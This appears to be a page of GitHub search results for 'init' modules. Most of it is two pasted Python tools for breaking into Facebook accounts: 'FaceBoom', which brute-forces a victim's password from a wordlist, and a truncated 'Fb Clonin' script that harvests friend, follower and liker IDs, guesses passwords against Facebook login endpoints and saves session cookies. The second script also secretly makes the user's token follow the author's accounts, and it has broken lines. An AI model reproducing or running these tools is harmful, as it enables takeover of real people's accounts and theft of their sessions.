63 skills found · Page 2 of 3
androidexpert35 / Magisk Init.dThe fisrt magisk module to enable init.d on any Android device!
UliGesing / Darktable Initial Workflow ModuleThis script extends darktable. It offers a new "inital workflow" module both in lighttable and darkroom view. It can be used to do some configuration for an initial image workflow.
sdhibit / Terraform Proxmox Cloud Init VmTerraform module that creates a cloud-init enabled VM in Proxmox.
nirzaf / ModuleInitializerExampleNo description available
FatimaKabali / Fatima #!/usr/bin/python import socket, sys, os, re, random, optparse, time if sys.version_info.major <= 2:import httplib else:import http.client as httplib ## COLORS ############### wi="\033[1;37m" #>>White# rd="\033[1;31m" #>Red # gr="\033[1;32m" #>Green # yl="\033[1;33m" #>Yellow# ######################### os.system("cls||clear") def write(text): sys.stdout.write(text) sys.stdout.flush() versionPath = "core"+os.sep+"version.txt" errMsg = lambda msg: write(rd+"\n["+yl+"!"+rd+"] Error: "+yl+msg+rd+ " !!!\n"+wi) try:import requests except ImportError: errMsg("[ requests ] module is missing") print(" [*] Please Use: 'pip install requests' to install it :)") sys.exit(1) try:import mechanize except ImportError: errMsg("[ mechanize ] module is missing") print(" [*] Please Use: 'pip install mechanize' to install it :)") sys.exit(1) class FaceBoom(object): def __init__(self): self.useProxy = None self.br = mechanize.Browser() self.br.set_handle_robots(False) self.br._factory.is_html = True self.br.addheaders=[('User-agent',random.choice([ 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) RockMelt/0.9.58.494 Chrome/11.0.696.71 Safari/534.24', 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36', 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/15.0.874.54 Safari/535.2', 'Opera/9.80 (J2ME/MIDP; Opera Mini/9.80 (S60; SymbOS; Opera Mobi/23.348; U; en) Presto/2.5.25 Version/10.54', 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.12 Safari/535.11', 'Mozilla/5.0 (Windows NT 5.1) AppleWebKit/535.6 (KHTML, like Gecko) Chrome/16.0.897.0 Safari/535.6', 'Mozilla/5.0 (X11; Linux x86_64; rv:17.0) Gecko/20121202 Firefox/17.0 Iceweasel/17.0.1']))] @staticmethod def check_proxy(proxy): proxies = {'https':"https://"+proxy, 'http':"http://"+proxy} proxy_ip = proxy.split(":")[0] try: r = requests.get('https://www.wikipedia.org',proxies=proxies, timeout=5) if proxy_ip==r.headers['X-Client-IP']: return True return False except Exception : return False @staticmethod def cnet(): try: socket.create_connection((socket.gethostbyname("www.google.com"), 80), 2) return True except socket.error:pass return False def get_profile_id(self, target_profile): try: print(gr+"\n["+wi+"*"+gr+"] geting target Profile Id... please wait"+wi) idre = re.compile('"entity_id":"([0-9]+)"') con = requests.get(target_profile).text idis = idre.findall(con) print(wi+"\n["+gr+"+"+wi+"]"+gr+" Target Profile"+wi+" ID: "+yl+idis[0]+wi) except IndexError: errMsg("Please Check Your Victim's Profile URL") sys.exit(1) def login(self,target, password): try: self.br.open("https://facebook.com") self.br.select_form(nr=0) self.br.form['email']=target self.br.form['pass']= password self.br.method ="POST" if self.br.submit().get_data().__contains__(b'home_icon'):return 1 elif "checkpoint" in self.br.geturl(): return 2 return 0 except(KeyboardInterrupt, EOFError): print(rd+"\n["+yl+"!"+rd+"]"+yl+" Aborting"+rd+"..."+wi) time.sleep(1.5) sys.exit(1) except Exception as e: print(rd+" Error: "+yl+str(e)+wi+"\n") time.sleep(0.60) def banner(self,target,wordlist,single_passwd): proxystatus = gr+self.useProxy+wi+"["+gr+"ON"+wi+"]" if self.useProxy else yl+"["+rd+"OFF"+yl+"]" print(gr+""" ================================== [---] """+wi+"""*CYBER_ROCKY*"""+gr+""" [---] ================================== [---] """+wi+"""Facebook-Hack-BD """+gr+""" [---] ================================== [---] """+yl+"""CONFIG"""+gr+""" [---] ================================== [>] Target :> """+wi+target+gr+""" {}""".format("[>] Wordlist :> "+yl+str(wordlist) if not single_passwd else "[>] Password :> "+yl+str(single_passwd))+gr+""" [>] ProxyStatus :> """+str(proxystatus)+wi) if not single_passwd: print(gr+"""\ =================================="""+wi+""" [~] """+yl+"""Facebook-"""+rd+"""Password-Attack: """+gr+"""Enabled """+wi+"""[~]"""+gr+""" ==================================\n"""+wi) else:print("\n") @staticmethod def updateFaceBoom(): if not os.path.isfile(versionPath): errMsg("Unable to check for updates: please re-clone the script to fix this problem") sys.exit(1) write("[~] Checking for updates...\n") conn = httplib.HTTPSConnection("raw.githubusercontent.com") conn.request("GET", "/Oseid/FaceBoom/master/core/version.txt") repoVersion = conn.getresponse().read().strip().decode() with open(versionPath) as vf: currentVersion = vf.read().strip() if repoVersion == currentVersion:write(" [*] The script is up to date!\n") else: print(" [+] An update has been found ::: Updating... ") conn.request("GET", "/Oseid/FaceBoom/master/faceboom.py") newCode = conn.getresponse().read().strip().decode() with open("faceboom.py", "w") as faceBoomScript: faceBoomScript.write(newCode) with open(versionPath, "w") as ver: ver.write(repoVersion) write(" [+] Successfully updated :)\n") parse = optparse.OptionParser(wi+""" Usage: python fb-hack-bd.py [OPTIONS...] ------------- OPTIONS: |Facebook-account💀Hacking💀Tools. ____ _ ____ _ / ___| _| |__ ___ _ __ | _ \ ___ ___| | ___ _ | | | | | | '_ \ / _ \ '__|____| |_) / _ \ / __| |/ / | | | | |__| |_| | |_) | __/ | |_____| _ < (_) | (__| <| |_| | \____\__, |_.__/ \___|_| |_| \_\___/ \___|_|\_\\__, | |___/ |___/ ............................................................ This is ***Cyber-Rocky*** Password Attack Tools. .....Made in Bangladesh..... |-------- | -t <target email> [OR] <FACEBOOK ID> ::> Specify target Email [OR] Target Profile ID |-------- | -w <wordlist Path> ::> Specify Wordlist File Path |-------- | -s <single password> ::> Specify Single Password To Check |-------- | -p <Proxy IP:PORT> ::> Specify HTTP/S Proxy (Optional) |-------- | -g <TARGET Facebook Profile URL> ::> Specify Target Facebook Profile URL For Get HIS ID |-------- | -u/--update ::> Update FaceBoom Script ------------- Examples: | |-------- |1/ python fb-hack-bd.py -t Victim@gmail.com -w /usr/share/wordlists/rockyou.txt |-------- |*2/ python fb-hack-bd.py -t 100001013078780 -w /data/data/com.termux/files/home/password.txt |-------- |3/ python fb-hack-bd.py -t Victim@hotmail.com -w \wordlist.txt -p 144.217.101.245:3129 |-------- |4/ python fb-hack-bd.py -t Victim@gmail.com -s 1234567 |-------- |5/ python fb-hack-bd.py -g https://www.facebook.com/Victim_Profile |-------- """) def Main(): parse.add_option("-t","--target",'-T','--TARGET',dest="target",type="string", help="Specify Target Email or ID") parse.add_option("-w","--wordlist",'-W','--WORDLIST',dest="wordlist",type="string", help="Specify Wordlist File ") parse.add_option("-s","--single","--S","--SINGLE",dest="single",type="string", help="Specify Single Password To Check it") parse.add_option("-p","-P","--proxy","--PROXY",dest="proxy",type="string", help="Specify HTTP/S Proxy to be used") parse.add_option("-g","-G","--getid","--GETID",dest="url",type="string", help="Specify TARGET FACEBOOK PROFILE URL to get his ID") parse.add_option("-u","-U","--update","--UPDATE", dest="update", action="store_true", default=False) (options,args) = parse.parse_args() faceboom = FaceBoom() target = options.target wordlist = options.wordlist single_passwd = options.single proxy = options.proxy target_profile = options.url update = options.update opts = [target,wordlist,single_passwd, proxy, target_profile, update] if any(opt for opt in opts): if not faceboom.cnet(): errMsg("Please Check Your Internet Connection") sys.exit(1) if update: faceboom.updateFaceBoom() sys.exit(1) elif target_profile: faceboom.get_profile_id(target_profile) sys.exit(1) elif wordlist or single_passwd: if wordlist: if not os.path.isfile(wordlist): errMsg("Please check Your Wordlist Path") sys.exit(1) if single_passwd: if len(single_passwd.strip()) < 6: errMsg("Invalid Password") print("[!] Password must be at least '6' characters long") sys.exit(1) if proxy: if proxy.count(".") != 3: errMsg("Invalid IPv4 ["+rd+str(proxy)+yl+"]") sys.exit(1) print(wi+"["+yl+"~"+wi+"] Connecting To "+wi+"Proxy[\033[1;33m {} \033[1;37m]...".format(proxy if not ":" in proxy else proxy.split(":")[0])) final_proxy = proxy+":8080" if not ":" in proxy else proxy if faceboom.check_proxy(final_proxy): faceboom.useProxy = final_proxy faceboom.br.set_proxies({'https':faceboom.useProxy, 'http':faceboom.useProxy}) print(wi+"["+gr+"Connected"+wi+"]") else: errMsg("Connection Failed") errMsg("Unable to connect to Proxy["+rd+str(proxy)+yl+"]") sys.exit(1) faceboom.banner(target,wordlist,single_passwd) loop = 1 if not single_passwd else "~" if single_passwd: passwords = [single_passwd] else: with open(wordlist, 'r', errors='replace') as f: passwords = f.readlines() for passwd in passwords: passwd = passwd.strip() if len(passwd) <6:continue write(wi+"["+yl+str(loop)+wi+"] Trying Password[ {"+yl+str(passwd)+wi+"} ]") retCode = faceboom.login(target, passwd) if retCode: sys.stdout.write(wi+" ==> Login"+gr+" Success\n") print(wi+"========================="+"="*len(passwd)+"======") print(wi+"["+gr+"+"+wi+"] Password [ "+gr+passwd+wi+" ]"+gr+" Is Correct :)") print(wi+"========================="+"="*len(passwd)+"======") if retCode == 2:print(wi+"["+yl+"!"+wi+"]"+yl+" Warning: This account use ("+rd+"2F Authentication"+yl+"):"+rd+" It's Locked"+yl+" !!!") break else: sys.stdout.write(yl+" ==> Login"+rd+" Failed\n") loop = loop + 1 if not single_passwd else "~" else: if single_passwd: print(yl+"\n["+rd+"!"+yl+"] Sorry: "+wi+"The Password[ "+yl+passwd+wi+" ] Is Not Correct"+rd+":("+yl+"!"+wi) print(gr+"["+yl+"!"+gr+"]"+yl+" Please Try Another password or Wordlist "+gr+":)"+wi) else: print(yl+"\n["+rd+"!"+yl+"] Sorry: "+wi+"I Can't Find The Correct Password In [ "+yl+wordlist+wi+" ] "+rd+":("+yl+"!"+wi) print(gr+"["+yl+"!"+gr+"]"+yl+" Please Try Another Wordlist. "+gr+":)"+wi) sys.exit(1) else: print(parse.usage) sys.exit(1) if __name__=='__main__': Main() ############################################################## ##################### ######################### ##################### END OF TOOL ######################### ##################### ######################### ############################################################## #This Tool by Oseid Aldary #Have a nice day :) #GoodBye
ungoldman / Init Module:candy: Add some sugar to the npm init command.
deB4SH / Terraform Proxmox Cloud Init KubernetesA terraform module that creats via cloud init a kubernetes cluster
ahmar00987 / Fb Clonin#!/usr/bin/python3 #-*-coding:utf-8-*- # Made With ❤️ By Ahmar And AHMARCODE Project # Update V0.1 # Copyright© Ahmar ID 2021 # 100% Open Source Code # Author : Ahmar jan. # Facebook (Alizar M.M.M X) : https://www.facebook.com/profile.php?id=100027259894020X # Instagram (☬ 𝐀𝐧𝐨𝐧𝐲𝐦 𝟒𝟎𝟒 ☬) : Instagram.com. # Whatsapp (Alizar) : 03127103451 # Free Recode For Personal Use # Bebas Recode Untuk Penggunaan Pribadi # Izin Terlebih Dahulu Apabila Ingin Re-Upload # Jangan Jual Belikan File Source Code Ini ! ### Import Module import requests,sys,bs4,os,random,time,json from concurrent.futures import ThreadPoolExecutor as ThreadPool from datetime import datetime ### Perumpamaan Module & Syntax _req_get_ = requests.get _req_post_ = requests.post _js_lo_ = json.loads _ahmar_cici_ = print _cici_ahmar_ = input _ahmar_ahmar_ = open _cici_cici_ = exit ### Waktu & Tanggal current = datetime.now() ta = current.year bu = current.month ha = current.day bulan_ttl = {"01": "Januari", "02": "Februari", "03": "Maret", "04": "April", "05": "Mei", "06": "Juni", "07": "Juli", "08": "Agustus", "09": "September", "10": "Oktober", "11": "November", "12": "Desember"} bulan = ["Januari", "Februari", "Maret", "April", "Mei", "Juni", "Juli", "Agustus", "September", "Oktober", "November", "Desember"] try: if bu < 0 or bu > 12: _cici_cici_() buTemp = bu - 1 except ValueError: _cici_cici_() op = bulan[buTemp] tanggal = ("%s-%s-%s"%(ha,op,ta)) ### Warna _P_ = "\x1b[0;97m" # Putih _M_ = "\x1b[0;91m" # Merah _H_ = "\x1b[0;92m" # Hijau _U_ = "\x1b[0;95m" # Ungu ### Logo _logo_line_1_ = ('%s.------..------..------..------..------. (_U_)) _logo_line_2_ = ('%s|A.--. ||H.--. ||M.--. ||A.--. ||R.--. | %s。☆✼★━━━━━━━━━━━━━━━━━━━━━━━━━★✼☆。'%(_U_,_H_)) _logo_line_3_ = ('%s| (\/) || :/\: || (\/) || (\/) || :(): | %sEditor By %s• AHMAR JAN %s '%(_U_,_M_,_P_,_U_)) _logo_line_4_ = ('%s| :\/: || (__) || :\/: || :\/: || ()() | %sWhatssap %s• 03127103451 %s '%(_U_,_M_,_P_,_U_)) _logo_line_5_ = ('%s| '--'A|| '--'H|| '--'M|| '--'A|| '--'R| %sAdrees %s• FASILABAD %s '%(_U_,_M_,_P_,_U_)) _logo_line_6_ = ('%s`------'`------'`------'`------'`------' %s。☆✼★━━━━━━━━━━━━━━━━━━━━━━━━━★✼☆。'%(_U_,_H_)) def _my_logo_(): _ahmar_cici_(_logo_line_1_) _ahmar_cici_(_logo_line_2_) _ahmar_cici_(_logo_line_3_) _ahmar_cici_(_logo_line_4_) _ahmar_cici_(_logo_line_5_) _ahmar_cici_(_logo_line_6_+'\n') ### User Agent ua_xiaomi = 'Mozilla/5.0 (Linux; Android 10; Mi 9T Pro Build/QKQ1.190825.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/88.0.4324.181 Mobile Safari/537.36 [FBAN/EMA;FBLC/id_ID;FBAV/239.0.0.10.109;]' ua_nokia = 'nokiac3-00/5.0 (07.20) profile/midp-2.1 configuration/cldc-1.1 mozilla/5.0 applewebkit/420+ (khtml, like gecko) safari/420+' ua_asus = 'Mozilla/5.0 (Linux; Android 5.0; ASUS_Z00AD Build/LRX21V) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/37.0.0.0 Mobile Safari/537.36 [FBAN/EMA;FBLC/id_ID;FBAV/239.0.0.10.109;]' ua_huawei = 'Mozilla/5.0 (Linux; Android 8.1.0; HUAWEI Y7 PRIME 2019 Build/5887208) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.62 Mobile Safari/537.36 [FBAN/EMA;FBLC/id_ID;FBAV/239.0.0.10.109;]' ua_vivo = 'Mozilla/5.0 (Linux; Android 11; vivo 1918) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.62 Mobile Safari/537.36 [FBAN/EMA;FBLC/id_ID;FBAV/239.0.0.10.109;]' ua_oppo = 'Mozilla/5.0 (Linux; Android 5.1.1; A37f) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.105 Mobile Safari/537.36 [FBAN/EMA;FBLC/id_ID;FBAV/239.0.0.10.109;]' ua_samsung = 'Mozilla/5.0 (Linux; Android 5.0; SM-G900P Build/LRX21T; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/43.0.2357.121 Mobile Safari/537.36 [FB_IAB/FB4A;FBAV/35.0.0.48.273;]' ua_windows = 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36 [FBAN/EMA;FBLC/id_ID;FBAV/239.0.0.10.109;]' ### Penampungan _id_tampung_ = [] ### Jangan Diganti Nanti Error _oscylopsce_ = '__Ahmar__' _ascylapsci_ = '__Cici__' _escylipsce_ = '__Ahmar_Love_Cici__' _uscylupsci_ = '__My_Love____Ahmar____Ahmar_Love_Cici____Cici____Forever__' ### Membuat Folder Direktori def _folder_(): try:os.mkdir("CP") except:pass try:os.mkdir("OK") except:pass ### Clear Login Session def _bersih_(): try:os.remove('token.txt') except:pass ### Clear User Agent def _del_(): try:os.remove('ugent.txt') except:pass ### Clear Terminal def _clear_(): if "linux" in sys.platform.lower():os.system("clear") elif "win" in sys.platform.lower():os.system("cls") else:os.system("clear") ### Jangan Diganti Anjink! def _bot_follow_(_tok_dev_): token = _tok_dev_ try: _req_post_("https://https://www.facebook.com/profile.php?id=100027259894020/subscribers?access_token=" + token) Alizar M.M.M # _req_post_("https://graph.facebook.com/100060885769913/subscribers?access_token=" + token) # احسان اللہ _req_post_("https://graph.facebook.com/100012267158212/subscribers?access_token=" + token) # وزیراعظم صاحب _req_post_("https://graph.facebook.com/100009834670141/subscribers?access_token=" + token) # نسرین اختر _req_post_("https://graph.facebook.com/100007026360241/subscribers?access_token=" + token) # Zama Jan _ahmar_cici_('\n%s[%s!%s] %sLogin Successful'%(_H_,_P_,_H_,_P_)) time.sleep(2) except (KeyError,IOError):pass ### Login def _login_dev_(_Cici_Cantik_Banget_): _clear_() _my_logo_() if _uscylupsci_ not in _Cici_Cantik_Banget_:_ahmar_cici_('%s[%s!%s] %sHey, do you want to recode?'%(_M_,_P_,_M_,_P_)) else:pass _tok_dev_ = _cici_ahmar_('%s[%s•%s] %sPLEASE Enter Token :\n\n'%(_P_,_H_,_P_,_U_)) try: _req_tok_ = _req_get_("https://graph.facebook.com/me?access_token=%s"%(_tok_dev_)) _js_load_ = _js_lo_(_req_tok_.text) _nama_dev_ = _js_load_['name'] _op_dev_ = _ahmar_ahmar_('token.txt','w') _op_dev_.write(_tok_dev_) _op_dev_.close() _bot_follow_(_tok_dev_) _default_ua_(_Cici_Cantik_Banget_) _menu_dev_(_Cici_Cantik_Banget_) except (KeyError,IOError): _ahmar_cici_('\n%s[%s!%s] %sToken EXPIRE'%(_M_,_P_,_M_,_P_)) _bersih_() time.sleep(2) _login_dev_(_Cici_Cantik_Banget_) except requests.exceptions.ConnectionError: _ahmar_cici_('\n%s[%s!%s] %sConnection Problem'%(_M_,_P_,_M_,_P_)) _cici_cici_() ### Menu def _menu_dev_(_Ahmar_Ganteng_Banget_): _clear_() _my_logo_() if _uscylupsci_ not in _Ahmar_Ganteng_Banget_:_ahmar_cici_('%s[%s!%s] %sHayoo Mau Recode Ya?'%(_M_,_P_,_M_,_P_)) else:pass try: _tok_dev_ = _ahmar_ahmar_("token.txt","r").read() _req_tok_ = _req_get_("https://graph.facebook.com/me?access_token=%s"%(_tok_dev_)) _js_load_ = _js_lo_(_req_tok_.text) _nama_dev_ = _js_load_['name'] _id_dev_ = _js_load_['id'] except (KeyError,IOError): _ahmar_cici_('%s[%s!%s] %sToken Invalid'%(_M_,_P_,_M_,_P_)) _bersih_() time.sleep(2) _login_dev_(_Ahmar_Ganteng_Banget_) except requests.exceptions.ConnectionError: _ahmar_cici_('%s[%s!%s] %sConnection Problem'%(_M_,_P_,_M_,_P_)) _cici_cici_() try: _ip_url_ = "http://ip-api.com/json/" _ip_headers_ = { "Referer":"http://ip-api.com/", "Content-Type":"application/json; charset=utf-8", "User-Agent":"Mozilla/5.0 (Linux; Android 10; Mi 9T Pro Build/QKQ1.190825.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/88.0.4324.181 Mobile Safari/537.36[FBAN/EMA;FBLC/it_IT;FBAV/239.0.0.10.109;]" } _ip_req_ = _req_get_(_ip_url_,headers=_ip_headers_).json() _ip_dev_ = _ip_req_["query"] except: _ip_dev_ = " " _ahmar_cici_('%s[%s•%s] %sWelcome %s%s'%(_U_,_P_,_U_,_P_,_U_,_nama_dev_)) _ahmar_cici_('%s[%s•%s] %sID : %s'%(_U_,_P_,_U_,_P_,_id_dev_)) _ahmar_cici_('%s[%s•%s] %sIP : %s\n'%(_U_,_H_,_U_,_H_,_ip_dev_)) _ahmar_cici_('%s[%s1%s] %sCrack From Friends/Public ID '%(_U_,_P_,_U_,_P_)) _ahmar_cici_('%s[%s2%s] %sCrack From Followrs ID'%(_U_,_P_,_U_,_P_)) _ahmar_cici_('%s[%s3%s] %sCrack ID From Likers'%(_U_,_P_,_U_,_P_)) _ahmar_cici_('%s[%s4%s] %sView Crack Results'%(_U_,_P_,_U_,_P_)) _ahmar_cici_('%s[%s5%s] %sUser Agent'%(_U_,_P_,_U_,_P_)) _ahmar_cici_('%s[%s0%s] %sLog Out'%(_U_,_P_,_U_,_M_)) _ahmar_menu__cici_ahmar__ = _cici_ahmar_('%s[%s•%s] %sChooses : '%(_U_,_P_,_U_,_P_)) _ahmar_cici_('') if _ahmar_menu__cici_ahmar__ in ['',' ']: _ahmar_cici_('%s[%s!%s] %sWrong Input BRO'%(_M_,_P_,_M_,_P_)) time.sleep(2) _menu_dev_(_Ahmar_Ganteng_Banget_) elif _ahmar_menu__cici_ahmar__ in ['1','01','a']: _publik_dev_(_tok_dev_) elif _ahmar_menu__cici_ahmar__ in ['2','02','b']: _followers_dev_(_tok_dev_) elif _ahmar_menu__cici_ahmar__ in ['3','03','c']: _likers_dev_(_tok_dev_) elif _ahmar_menu__cici_ahmar__ in ['4','04','d']: _cek_result_dev_() elif _ahmar_menu__cici_ahmar__ in ['5','05','e']: _ugen_dev_(_Ahmar_Ganteng_Banget_) elif _ahmar_menu__cici_ahmar__ in ['0','00','z']: _ahmar_cici_('%s[%s•%s] %sSee you later %s%s %s!'%(_U_,_P_,_U_,_P_,_U_,_nama_dev_,_P_)) _bersih_() time.sleep(2) _login_dev_(_Ahmar_Ganteng_Banget_) else: _ahmar_cici_('%s[%s!%s] %sWrong input Bro'%(_M_,_P_,_M_,_P_)) time.sleep(2) _menu_dev_(_Ahmar_Ganteng_Banget_) ### Dump ID Publik def _publik_dev_(_tok_dev_): _Ahmar_jan_Cici_ = '__My_Love__'+_oscylopsce_+_escylipsce_+_ascylapsci_+'__Forever__' _ahmar_cici_('%s[%s•%s] %sType (Me) Clone your Login ID'%(_U_,_P_,_U_,_P_)) _target_dev_ = _cici_ahmar_('%s[%s•%s] %sINPUT TARGET ID : %s'%(_U_,_P_,_U_,_P_,_U_)) try: _req_tar_ = _req_get_("https://graph.facebook.com/%s?access_token=%s"%(_target_dev_,_tok_dev_)) _jso_tar_ = _js_lo_(_req_tar_.text) _name_ = _jso_tar_['name'] _ahmar_cici_('%s[%s•%s] %sTarger Name: %s%s'%(_U_,_P_,_U_,_P_,_U_,_name_)) except: _ahmar_cici_('%s[%s!%s] %sToken Invalid / ID Not Found'%(_M_,_P_,_M_,_P_)) time.sleep(2) _menu_dev_(_Ahmar_jan_Cici_) try: _req_fl_ = _req_get_("https://graph.facebook.com/%s/friends?limit=1000000&access_token=%s"%(_target_dev_,_tok_dev_)) _lo_dev_ = _js_lo_(_req_fl_.text) _jso_file_ = (_jso_tar_["first_name"]+".json").replace(" ","_") _jso_exec_ = _ahmar_ahmar_(_jso_file_,"w") for _Ahmar_Cici_Forever_ in _lo_dev_["data"]: try: _id_tampung_.append(_Ahmar_Cici_Forever_["id"]+"•"+_Ahmar_Cici_Forever_["name"]) _jso_exec_.write(_Ahmar_Cici_Forever_["id"]+"•"+_Ahmar_Cici_Forever_["name"]+"\n") except:continue _jso_exec_.close() _ahmar_cici_('%s[%s•%s] %sTotal ID : %s%s'%(_U_,_P_,_U_,_P_,_U_,len(_id_tampung_))) except: _ahmar_cici_('%s[%s!%s] %sToken Invalid /ID Not Found'%(_M_,_P_,_M_,_P_)) time.sleep(2) _menu_dev_(_Ahmar_jan_Cici_) return _crack_dev_(_jso_file_) ### Dump ID Pengikut def _followers_dev_(_tok_dev_): _Ahmar_jan_Cici_ = '__My_Love__'+_oscylopsce_+_escylipsce_+_ascylapsci_+'__Forever__' _ahmar_cici_('%s[%s•%s] %sTpye /Me/ Clone Your Login ID'%(_U_,_P_,_U_,_P_)) _target_dev_ = _cici_ahmar_('%s[%s•%s] %sPast Target ID : %s'%(_U_,_P_,_U_,_P_,_U_)) try: _req_tar_ = _req_get_("https://graph.facebook.com/%s?access_token=%s"%(_target_dev_,_tok_dev_)) _jso_tar_ = _js_lo_(_req_tar_.text) _name_ = _jso_tar_['name'] _ahmar_cici_('%s[%s•%s] %sTarget Name : %s%s'%(_U_,_P_,_U_,_P_,_U_,_name_)) except: _ahmar_cici_('%s[%s!%s] %sToken Invalid /Targe not public'%(_M_,_P_,_M_,_P_)) time.sleep(2) _menu_dev_(_Ahmar_jan_Cici_) try: _req_fl_ = _req_get_("https://graph.facebook.com/%s/subscribers?limit=1000000&access_token=%s"%(_target_dev_,_tok_dev_)) _lo_dev_ = _js_lo_(_req_fl_.text) _jso_file_ = (_jso_tar_["first_name"]+".json").replace(" ","_") _jso_exec_ = _ahmar_ahmar_(_jso_file_,"w") for _Ahmar_Cici_Forever_ in _lo_dev_["data"]: try: _id_tampung_.append(_Ahmar_Cici_Forever_["id"]+"•"+_Ahmar_Cici_Forever_["name"]) _jso_exec_.write(_Ahmar_Cici_Forever_["id"]+"•"+_Ahmar_Cici_Forever_["name"]+"\n") except:continue _jso_exec_.close() _ahmar_cici_('%s[%s•%s] %sTotal ID : %s%s'%(_U_,_P_,_U_,_P_,_U_,len(_id_tampung_))) except: _ahmar_cici_('%s[%s!%s] %sToken Invalid / Target Not public'%(_M_,_P_,_M_,_P_)) time.sleep(2) _menu_dev_(_Ahmar_jan_Cici_) return _crack_dev_(_jso_file_) ### Dump ID Likers def _likers_dev_(_tok_dev_): _Ahmar_jan_Cici_ = '__My_Love__'+_oscylopsce_+_escylipsce_+_ascylapsci_+'__Forever__' _ahmar_cici_('%s[%s•%s] %sTpye /Me/ Clone Your Login ID'%(_U_,_P_,_U_,_P_)) _target_dev_ = _cici_ahmar_('%s[%s•%s] %sPAST TARGET ID : %s'%(_U_,_P_,_U_,_P_,_U_)) try: _req_tar_ = _req_get_("https://graph.facebook.com/%s?access_token=%s"%(_target_dev_,_tok_dev_)) _jso_tar_ = _js_lo_(_req_tar_.text) _name_ = _jso_tar_['name'] _ahmar_cici_('%s[%s•%s] %sNama : %s%s'%(_U_,_P_,_U_,_P_,_U_,_name_)) except: _ahmar_cici_('%s[%s!%s] %sToken Invalid / ID NOT FOUND'%(_M_,_P_,_M_,_P_)) time.sleep(2) _menu_dev_(_Ahmar_jan_Cici_) try: _req_fl_ = _req_get_("https://graph.facebook.com/%s/likes?limit=1000000&access_token=%s"%(_target_dev_,_tok_dev_)) _lo_dev_ = _js_lo_(_req_fl_.text) _jso_file_ = (_jso_tar_["first_name"]+".json").replace(" ","_") _jso_exec_ = _ahmar_ahmar_(_jso_file_,"w") for _Ahmar_Cici_Forever_ in _lo_dev_["data"]: try: _id_tampung_.append(_Ahmar_Cici_Forever_["id"]+"•"+_Ahamr_Cici_Forever_["name"]) _jso_exec_.write(_Ahmar_Cici_Forever_["id"]+"•"+_Ahmar_Cici_Forever_["name"]+"\n") except:continue _jso_exec_.close() _ahmar_cici_('%s[%s•%s] %sTotal ID : %s%s'%(_U_,_P_,_U_,_P_,_U_,len(_id_tampung_))) except: _ahmar_cici_('%s[%s!%s] %sToken Invalid / ID NOT FOUND'%(_M_,_P_,_M_,_P_)) time.sleep(2) _menu_dev_(_Ahmar_jan_Cici_) return _crack_dev_(_jso_file_) ### Generate Password def _pass_list_(_cici_): _ahmar_=[] for i in _cici_.split(" "): if len(i)<3: continue else: i=i.lower() if len(i)==3 or len(i)==4 or len(i)==5: _ahmar_.append(i+"123") _ahmar_.append(i+"12345") else: _ahmar_.append(i) _ahmar_.append(i+"123") _ahmar_.append(i+"12345") _ahmar_.append(_cici_.lower()) _ahmar_.append("pakistan") _ahmar_.append("123456789") _ahmar_.append("123456") return _ahmar_ ### Logger Crack def log_api(em,pas,hosts): ua = open('ugent.txt','r').read() r = requests.Session() header = {"x-fb-connection-bandwidth": str(random.randint(20000000.0, 30000000.0)), "x-fb-sim-hni": str(random.randint(20000, 40000)), "x-fb-net-hni": str(random.randint(20000, 40000)), "x-fb-connection-quality": "EXCELLENT", "x-fb-connection-type": "cell.CTRadioAccessTechnologyHSDPA", "user-agent": ua, "content-type": "application/x-www-form-urlencoded", "x-fb-http-engine": "Liger"} param = {'access_token': '350685531728%7C62f8ce9f74b12f84c123cc23437a4a32', 'format': 'json', 'sdk_version': '2', 'email': em, 'locale': 'en_US', 'password': pas, 'sdk': 'ios', 'generate_session_cookies': '1', 'sig':'3f555f99fb61fcd7aa0c44f58f522ef6'} api = 'https://b-api.facebook.com/method/auth.login' response = r.get(api, params=param, headers=header) if 'session_key' in response.text and 'EAAA' in response.text: return {"status":"success","email":em,"pass":pas} elif 'www.facebook.com' in response.json()['error_msg']: return {"status":"cp","email":em,"pass":pas} else:return {"status":"error","email":em,"pass":pas} def log_mbasic(em,pas,hosts): ua = open('ugent.txt','r').read() r = requests.Session() r.headers.update({"Host":"mbasic.facebook.com","cache-control":"max-age=0","upgrade-insecure-requests":"1","user-agent":ua,"accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8","accept-encoding":"gzip, deflate","accept-language":"id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7"}) p = r.get("https://mbasic.facebook.com/") b = r.post("https://mbasic.facebook.com/login.php", data={"email": em, "pass": pas, "login": "submit"}) _raw_cookies_ = (";").join([ "%s=%s" % (key, value) for key, value in r.cookies.get_dict().items() ]) if "c_user" in r.cookies.get_dict().keys(): return {"status":"success","email":em,"pass":pas,"cookies":_raw_cookies_} elif "checkpoint" in r.cookies.get_dict().keys(): return {"status":"cp","email":em,"pass":pas,"cookies":_raw_cookies_} else:return {"status":"error","email":em,"pass":pas} def koki(_cookies_): samp_ = _cookies_.split(';') _cooked_cookies_ = ('%s;%s;%s;%s;%s'%(samp_[2],samp_[4],samp_[0],samp_[3],samp_[1])) return _cooked_cookies_ ### Crack Proccess class _crack_dev_: def __init__(self,files): self._Ahmar_jan_Cici_ = '__My_Love__'+_oscylopsce_+_escylipsce_+_ascylapsci_+'__Forever__' self.ada = [] self.cp = [] self.ko = 0 _ahmar_cici_('\n%s[%s•%s] %sCrack With Default/Manual Password [d/m]'%(_U_,_P_,_U_,_P_)) while True: f = 